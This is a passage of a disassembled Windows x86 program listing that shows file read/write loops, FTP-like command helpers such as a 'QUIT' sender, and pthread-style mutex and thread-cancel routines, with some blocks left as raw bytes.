		cmp	eax, esi
		jl	short loc_42E523
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42E4FA
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E523:				; CODE XREF: sub_42E400+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E53D:				; CODE XREF: sub_42E400+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42E593
		mov	esi, dword_50FA94


loc_42E55A:				; CODE XREF: sub_42E400+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42E581
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42E55A
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E581:				; CODE XREF: sub_42E400+166j
		push	offset aLocalfileWrite ; "localfile write"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42E593:				; CODE XREF: sub_42E400+F4j
					; sub_42E400+121j ...
		push	edi
		call	near ptr 77C2C21Bh
		nop
		push	ebx
		nop
		call	near ptr 77C3EEF6h
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42E5B6
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4


loc_42E5B6:				; CODE XREF: sub_42E400+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BDB
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42E400	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E650:				; CODE XREF: ___:0040169Fj
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E680:				; CODE XREF: ___:00401D2Fj
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42E6B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6B7:				; CODE XREF: ___:0042E6AAj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_50FA60
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_445504
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E6F8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E6F8:				; CODE XREF: ___:0042E6EBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_445708
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E754
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_445700
		push	esi
		call	near ptr 77C41B72h
		nop
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42E754
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42E754:				; CODE XREF: ___:0042E717j
					; ___:0042E738j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E7B0:				; CODE XREF: ___:004013BBj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42E7E0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E7E0:				; CODE XREF: ___:0042E7D5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_445714
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42E81B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E81B:				; CODE XREF: ___:0042E80Bj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E880	proc near		; CODE XREF: sub_4016A9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
sub_42E880	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8B0:				; CODE XREF: ___:004016C7j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E8E0:				; CODE XREF: ___:00401492j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42E979
		mov	esi, dword_50FA60
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_44572C
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	short loc_42E979
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_445720
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E979:				; CODE XREF: ___:0042E901j
					; ___:0042E91Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E9C0:				; CODE XREF: ___:00401C67j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E9E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: ___:0042E9E0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_445738
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EA40	proc near		; CODE XREF: sub_401D52j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42EA79
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42D1A0
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_50FAC4
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42EA79:				; CODE XREF: sub_42EA40+Aj
		pop	esi
		retn
sub_42EA40	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EA90:				; CODE XREF: ___:0040219Ej
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42EAA0
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAA0:				; CODE XREF: ___:0042EA97j
		push	1Ch
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		test	eax, eax
		jnz	short loc_42EAB6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42EAB6:				; CODE XREF: ___:0042EAADj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB10:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EB29
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EB29:				; CODE XREF: ___:0042EB20j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EB60:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42EB85
		test	eax, eax
		jz	short loc_42EB85
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42EB85:				; CODE XREF: ___:0042EB74j
					; ___:0042EB78j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EBB0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EBC9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBC9:				; CODE XREF: ___:0042EBC0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42EBDD
		cmp	eax, 1
		jz	short loc_42EBDD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBDD:				; CODE XREF: ___:0042EBCFj
					; ___:0042EBD4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC00:				; CODE XREF: ___:0040150Fj
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC20:				; CODE XREF: ___:00401825j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC40:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC59
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC59:				; CODE XREF: ___:0042EC50j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EC80:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42EC99
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EC99:				; CODE XREF: ___:0042EC90j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECC0:				; CODE XREF: ___:004019A1j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ECF0:				; CODE XREF: ___:0040199Cj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_42ED12
		dec	eax
		jz	short loc_42ED02
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42ED02:				; CODE XREF: ___:0042ECFAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_42ED12:				; CODE XREF: ___:0042ECF7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ED30:				; CODE XREF: ___:00401C08j
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_42EDCB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_42EDCB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_42EDC2
		mov	eax, [esp+14h]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42ED70
		mov	eax, [eax]
		jmp	short loc_42ED72
; ---------------------------------------------------------------------------


loc_42ED70:				; CODE XREF: ___:0042ED64j
					; ___:0042ED6Aj
		xor	eax, eax


loc_42ED72:				; CODE XREF: ___:0042ED6Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDB8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EDAF
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDAF:				; CODE XREF: ___:0042EDA7j
		push	edi
		call	sub_401686
		add	esp, 4


loc_42EDB8:				; CODE XREF: ___:0042ED92j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_42EDC2:				; CODE XREF: ___:0042ED5Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EDCB:				; CODE XREF: ___:0042ED39j
					; ___:0042ED45j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EE10:				; CODE XREF: ___:004021E9j
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_42EE78
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_42EE78
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE6E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401686
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_42EE5F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE5F:				; CODE XREF: ___:0042EE4Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C76
		add	esp, 0Ch


loc_42EE6E:				; CODE XREF: ___:0042EE3Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42EE78:				; CODE XREF: ___:0042EE1Aj
					; ___:0042EE21j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EEB0:				; CODE XREF: ___:00401799j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_42EF64
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42EF64
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		call	near ptr 27501F5h
		nop
		test	eax, eax
		jnz	short loc_42EEF7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_42EF44
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_40204A
		add	esp, 8
		mov	esi, eax
		jmp	short loc_42EF40
; ---------------------------------------------------------------------------


loc_42EEF7:				; CODE XREF: ___:0042EED8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_42EF1B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_42EF1D


loc_42EF1B:				; CODE XREF: ___:0042EF07j
		xor	ebx, ebx


loc_42EF1D:				; CODE XREF: ___:0042EF19j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_42EF40
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_40140B
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42EF40:				; CODE XREF: ___:0042EEF5j
					; ___:0042EF2Fj
		test	esi, esi
		jnz	short loc_42EF5E


loc_42EF44:				; CODE XREF: ___:0042EEE2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_50E3FC	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_42EF5E:				; CODE XREF: ___:0042EF42j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF64:				; CODE XREF: ___:0042EEB7j
					; ___:0042EEC1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFA0:				; CODE XREF: ___:00401F50j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42EFC3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42EFC3:				; CODE XREF: ___:0042EFB2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42EFF0:				; CODE XREF: ___:00401A73j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_42F011
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_42F011
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F011:				; CODE XREF: ___:0042EFF9j
					; ___:0042EFFFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F030:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F04D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F04D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F04D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F04D:				; CODE XREF: ___:0042F036j
					; ___:0042F03Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F070:				; CODE XREF: ___:0040162Cj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F09A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F09A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F08E
		test	eax, eax
		jnz	short loc_42F09A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F08E:				; CODE XREF: ___:0042F085j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F09A:				; CODE XREF: ___:0042F076j
					; ___:0042F07Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F0B0	proc near		; CODE XREF: sub_40140Bj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F0B0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 90525738h, 311D6EE8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 320EE7E8h, 0A4E85302h
		dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h,	83FFFD1Fh
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F170:				; CODE XREF: ___:0040223Ej
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 0E8525338h, 2311CAFh, 75C08590h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 320E27E8h, 0E4E85702h
		dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F230	proc near		; CODE XREF: sub_401CEEj
		push	esi
		push	edi
		call	sub_4012E4
sub_42F230	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 10E89050h, 8502311Ch, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh
		dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F2B0:				; CODE XREF: ___:00401D25j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_42F3E9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42F2EB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F2EB:				; CODE XREF: ___:0042F2DCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A50
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402225
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_42F3C2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_42F3C2
		cmp	[esi+0Ch], ebp
		jge	loc_42F3D5
		test	edi, edi
		jz	short loc_42F354
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F354:				; CODE XREF: ___:0042F329j
		mov	edi, [esi+4]
		push	edi
		nop
		call	near ptr 27402C0h
		push	0
		push	edi
		call	near ptr 2740E6Bh
		nop
		cmp	eax, 102h
		jnz	short loc_42F3E2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		call	near ptr 2740546h
		nop
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_42F460
		push	ecx
		push	edi
		nop
		call	near ptr 274075Bh
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		nop
		call	near ptr 2740A0Dh
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F3C2:				; CODE XREF: ___:0042F30Dj
					; ___:0042F318j
		cmp	[esi+0Ch], ebp
		jge	short loc_42F3D5
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 2740CC3h
		test	eax, eax
		jnz	short loc_42F3D9


loc_42F3D5:				; CODE XREF: ___:0042F321j
					; ___:0042F3C5j
		mov	[esp+10h], ebp


loc_42F3D9:				; CODE XREF: ___:0042F3D3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_42F3E2:				; CODE XREF: ___:0042F36Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_42F3E9:				; CODE XREF: ___:0042F2CFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F460:				; DATA XREF: ___:0042F390o
		push	2
		call	sub_401DD4
